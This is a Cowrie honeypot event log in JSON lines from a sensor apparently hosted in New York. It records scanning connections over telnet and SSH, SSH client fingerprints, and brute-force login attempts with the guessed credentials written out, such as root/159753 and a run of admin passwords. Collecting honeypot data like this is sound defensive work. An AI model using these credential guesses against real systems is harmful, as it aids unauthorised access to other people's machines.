{"eventid":"cowrie.session.closed","duration":35.06927943229675,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:15.565671Z","src_ip":"128.199.8.54","session":"c8b9ebf318ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.56303262710571,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:15.951499Z","src_ip":"128.199.8.54","session":"525aa323ea54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.344093561172485,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:19.942050Z","src_ip":"128.199.8.54","session":"7cb718a3d390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.18583583831787,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:20.289358Z","src_ip":"128.199.8.54","session":"3006adfd3857","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"21bf98021ae4","protocol":"telnet","message":"New connection: 128.199.8.54:53744 (159.203.135.109:23) [session: 21bf98021ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:28.310918Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59446,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90e4bf8ce7e","protocol":"ssh","message":"New connection: 103.15.226.202:59446 (10.17.0.5:22) [session: a90e4bf8ce7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:28.718167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:28.726747Z","src_ip":"103.15.226.202","session":"a90e4bf8ce7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:28.974710Z","src_ip":"103.15.226.202","session":"a90e4bf8ce7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159753","message":"login attempt [root/159753] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:29.720856Z","src_ip":"103.15.226.202","session":"a90e4bf8ce7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:30.972726Z","src_ip":"103.15.226.202","session":"a90e4bf8ce7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.840917348861694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:42.916869Z","src_ip":"128.199.8.54","session":"7d22839598c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37734,"dst_ip":"159.203.135.109","dst_port":23,"session":"149ec96518e7","protocol":"telnet","message":"New connection: 128.199.8.54:37734 (159.203.135.109:23) [session: 149ec96518e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:33:48.184225Z"}
{"eventid":"cowrie.session.closed","duration":36.30622458457947,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:04.617023Z","src_ip":"128.199.8.54","session":"21bf98021ae4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45142,"dst_ip":"159.203.135.109","dst_port":23,"session":"742a2a6a844b","protocol":"telnet","message":"New connection: 128.199.8.54:45142 (159.203.135.109:23) [session: 742a2a6a844b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:06.349773Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42086,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22129a08d53","protocol":"telnet","message":"New connection: 128.199.8.54:42086 (159.203.135.109:23) [session: e22129a08d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:17.035446Z"}
{"eventid":"cowrie.session.closed","duration":33.571237325668335,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:21.755310Z","src_ip":"128.199.8.54","session":"149ec96518e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":44458,"dst_ip":"159.203.135.109","dst_port":22,"session":"b816d1fbab17","protocol":"ssh","message":"New connection: 80.94.92.186:44458 (159.203.135.109:22) [session: b816d1fbab17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:25.058474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:25.697808Z","src_ip":"80.94.92.186","session":"b816d1fbab17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:25.702252Z","src_ip":"80.94.92.186","session":"b816d1fbab17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:26.687921Z","src_ip":"80.94.92.186","session":"b816d1fbab17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:28.089475Z","src_ip":"80.94.92.186","session":"b816d1fbab17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39148,"dst_ip":"159.203.135.109","dst_port":23,"session":"72fc07bc33df","protocol":"telnet","message":"New connection: 128.199.8.54:39148 (159.203.135.109:23) [session: 72fc07bc33df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:29.824539Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55992,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82b2357f777","protocol":"telnet","message":"New connection: 128.199.8.54:55992 (159.203.135.109:23) [session: a82b2357f777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:30.531168Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52478,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f420a184b01","protocol":"telnet","message":"New connection: 128.199.8.54:52478 (159.203.135.109:23) [session: 6f420a184b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:34.985617Z"}
{"eventid":"cowrie.session.closed","duration":31.94750213623047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:38.297157Z","src_ip":"128.199.8.54","session":"742a2a6a844b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45762,"dst_ip":"159.203.135.109","dst_port":23,"session":"9416378046ef","protocol":"telnet","message":"New connection: 128.199.8.54:45762 (159.203.135.109:23) [session: 9416378046ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:45.068062Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46210,"dst_ip":"159.203.135.109","dst_port":23,"session":"b655b802e25e","protocol":"telnet","message":"New connection: 128.199.8.54:46210 (159.203.135.109:23) [session: b655b802e25e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:51.304530Z"}
{"eventid":"cowrie.session.closed","duration":34.606258392333984,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:34:51.641600Z","src_ip":"128.199.8.54","session":"e22129a08d53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c8a1ae6ab7","protocol":"telnet","message":"New connection: 128.199.8.54:50780 (159.203.135.109:23) [session: a8c8a1ae6ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:01.808327Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":56630,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9d6520fb63","protocol":"telnet","message":"New connection: 128.199.8.54:56630 (159.203.135.109:23) [session: 8b9d6520fb63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:03.990430Z"}
{"eventid":"cowrie.session.closed","duration":34.5664541721344,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:04.390885Z","src_ip":"128.199.8.54","session":"72fc07bc33df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"804021e58fa6","protocol":"telnet","message":"New connection: 69.6.249.0:40930 (159.203.135.109:23) [session: 804021e58fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:05.739591Z"}
{"eventid":"cowrie.session.closed","duration":35.35498309135437,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:05.886056Z","src_ip":"128.199.8.54","session":"a82b2357f777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60330,"dst_ip":"159.203.135.109","dst_port":23,"session":"c126f2f597d8","protocol":"telnet","message":"New connection: 128.199.8.54:60330 (159.203.135.109:23) [session: c126f2f597d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:06.000517Z"}
{"eventid":"cowrie.session.closed","duration":34.69726324081421,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:09.682770Z","src_ip":"128.199.8.54","session":"6f420a184b01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39736,"dst_ip":"159.203.135.109","dst_port":23,"session":"da906b588438","protocol":"telnet","message":"New connection: 128.199.8.54:39736 (159.203.135.109:23) [session: da906b588438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:13.044470Z"}
{"eventid":"cowrie.session.closed","duration":35.21328258514404,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:20.280997Z","src_ip":"128.199.8.54","session":"9416378046ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60978,"dst_ip":"159.203.135.109","dst_port":23,"session":"e46f005476c6","protocol":"telnet","message":"New connection: 128.199.8.54:60978 (159.203.135.109:23) [session: e46f005476c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:21.133272Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36696,"dst_ip":"159.203.135.109","dst_port":23,"session":"868cc4974e2f","protocol":"telnet","message":"New connection: 128.199.8.54:36696 (159.203.135.109:23) [session: 868cc4974e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:23.094517Z"}
{"eventid":"cowrie.session.closed","duration":33.73264670372009,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:25.037061Z","src_ip":"128.199.8.54","session":"b655b802e25e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40480,"dst_ip":"159.203.135.109","dst_port":23,"session":"925ff28a5253","protocol":"telnet","message":"New connection: 128.199.8.54:40480 (159.203.135.109:23) [session: 925ff28a5253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:25.083605Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":2299,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f2d1cf8f112","protocol":"telnet","message":"New connection: 212.55.149.117:2299 (10.17.0.5:23) [session: 3f2d1cf8f112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:28.269995Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":18560,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef927baf6df1","protocol":"ssh","message":"New connection: 2.57.121.112:18560 (10.17.0.5:22) [session: ef927baf6df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:33.110437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:33.115289Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:33.220740Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pass69","message":"login attempt [admin/pass69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:33.718442Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"parol999","message":"login attempt [admin/parol999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:34.827608Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"parker12","message":"login attempt [admin/parker12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:35.937224Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.833268880844116,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:36.641425Z","src_ip":"128.199.8.54","session":"a8c8a1ae6ab7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"paris123","message":"login attempt [admin/paris123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:37.046952Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.349243640899658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:37.088700Z","src_ip":"69.6.249.0","session":"804021e58fa6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pariah","message":"login attempt [admin/pariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:38.156579Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:39.265428Z","src_ip":"2.57.121.112","session":"ef927baf6df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.10578203201294,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:40.096081Z","src_ip":"128.199.8.54","session":"8b9d6520fb63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.22989320755005,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:41.230271Z","src_ip":"128.199.8.54","session":"c126f2f597d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43642,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d7b7bccbab3","protocol":"telnet","message":"New connection: 128.199.8.54:43642 (159.203.135.109:23) [session: 5d7b7bccbab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:43.853436Z"}
{"eventid":"cowrie.session.closed","duration":32.88917684555054,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:45.933492Z","src_ip":"128.199.8.54","session":"da906b588438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.910009145736694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:57.004400Z","src_ip":"128.199.8.54","session":"868cc4974e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48844,"dst_ip":"159.203.135.109","dst_port":23,"session":"946000256c12","protocol":"telnet","message":"New connection: 128.199.8.54:48844 (159.203.135.109:23) [session: 946000256c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:57.120498Z"}
{"eventid":"cowrie.session.closed","duration":32.37015414237976,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:57.453606Z","src_ip":"128.199.8.54","session":"925ff28a5253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38341975212097,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:58.516616Z","src_ip":"128.199.8.54","session":"e46f005476c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52736,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a9fdc9f65f6","protocol":"telnet","message":"New connection: 128.199.8.54:52736 (159.203.135.109:23) [session: 6a9fdc9f65f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:35:59.093823Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":52176,"dst_ip":"10.17.0.5","dst_port":23,"session":"191851af6941","protocol":"telnet","message":"New connection: 208.92.193.123:52176 (10.17.0.5:23) [session: 191851af6941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:01.819707Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59202,"dst_ip":"159.203.135.109","dst_port":23,"session":"b183e8b15b70","protocol":"telnet","message":"New connection: 128.199.8.54:59202 (159.203.135.109:23) [session: b183e8b15b70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:02.190514Z"}
{"eventid":"cowrie.session.closed","duration":31.777688026428223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:15.631005Z","src_ip":"128.199.8.54","session":"5d7b7bccbab3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.32850766181946,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:30.598387Z","src_ip":"212.55.149.117","session":"3f2d1cf8f112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":53006,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e08cf5cfb83","protocol":"telnet","message":"New connection: 208.92.193.123:53006 (10.17.0.5:23) [session: 0e08cf5cfb83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:30.996847Z"}
{"eventid":"cowrie.session.closed","duration":35.36043953895569,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:32.480804Z","src_ip":"128.199.8.54","session":"946000256c12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706680059432983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:36:32.526264Z","src_ip":"208.92.193.123","session":"191851af6941","protocol":"telnet"}
